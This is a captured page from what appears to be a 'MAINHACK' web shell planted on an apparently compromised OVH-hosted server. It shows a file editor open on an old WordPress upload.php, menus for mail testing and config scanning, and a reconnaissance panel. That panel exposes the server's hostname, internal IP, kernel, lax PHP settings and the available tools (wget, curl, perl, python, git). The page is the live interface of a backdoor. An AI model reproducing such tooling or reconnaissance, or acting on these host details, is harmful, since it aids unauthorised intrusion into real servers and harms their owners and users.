[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: upload.php
<?php require_once('admin.php'); if (isset($_POST['upload_plugin']) || isset($_POST['upload_theme'])) { $err_title = __('WordPress Failure Notice'); $err_redirect = '<p><a href="' . remove_query_arg(wp_get_referer()) . '">' . __('Please try again.') . '</a></p>'; if (isset($_POST['upload_theme']) && check_admin_referer('upload-theme')) { if ( !current_user_can('edit_themes') ) wp_die('<p>'.__('You do not have sufficient permissions to upload templates for this blog.').'</p>'); $target_dir = 'themes'; $location = 'themes.php'; } elseif (isset($_POST['upload_plugin']) && check_admin_referer('upload-plugin')) { if ( !current_user_can('edit_plugins') ) wp_die('<p>'.__('You do not have sufficient permissions to upload plugins for this blog.').'</p>'); $target_dir = 'plugins'; $location = 'plugins.php'; } else { wp_die('<p>' . __('Error: Uploading failed. Not enough parameters.') . '</p>'.$err_redirect, $err_title); } $afile = wp_handle_upload($_FILES['package'], array('test_form' => false)); $dest_path = ABSPATH.'/wp-content/' . $target_dir; require_once('pclzip.lib.php'); $archive = new PclZip($afile['file']); if ($archive->extract(PCLZIP_OPT_PATH, $dest_path) == 0) { unlink($afile['file']); wp_die(__("Can't unpack zip-file: ").$archive->errorInfo(true) . $err_redirect, $err_title); } else { unlink($afile['file']); wp_redirect($location); } } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: N/A
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: N/A
Current Dir Owner: 38697